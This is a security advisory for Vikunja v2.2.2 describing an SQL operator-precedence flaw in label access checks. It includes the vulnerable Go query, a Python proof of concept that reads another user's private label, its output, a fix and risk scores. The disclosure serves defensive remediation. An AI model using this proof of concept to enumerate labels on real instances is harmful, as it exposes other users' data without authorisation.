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GHSA-hj5c-mhh2-g7jq

MediumCVSS 4.3 / 10
Published Apr 10, 2026·Last modified Apr 10, 2026
Affected Components(0)

No affected components available

Description

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
    Or(cond).
    And("labels.id = ?", l.ID).
    Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")

# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
                    json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
                     json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
                    json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
             json={"label_id": label["id"]})

# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")  # 200 - should be 403
if r.status_code == 200:
    data = r.json()
    print(f"Title: {data['title']}")  # CONFIDENTIAL-REVENUE
    print(f"Creator: {data['created_by']['username']}")  # labeler

Output:

GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where(builder.And(
        builder.Eq{"labels.id": l.ID},
        builder.Or(
            builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
            builder.Eq{"labels.created_by_id": createdByID},
        ),
    )).
    Exist(ll)

Found and reported by aisafe.io

Risk Scores
Base Score
4.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.27%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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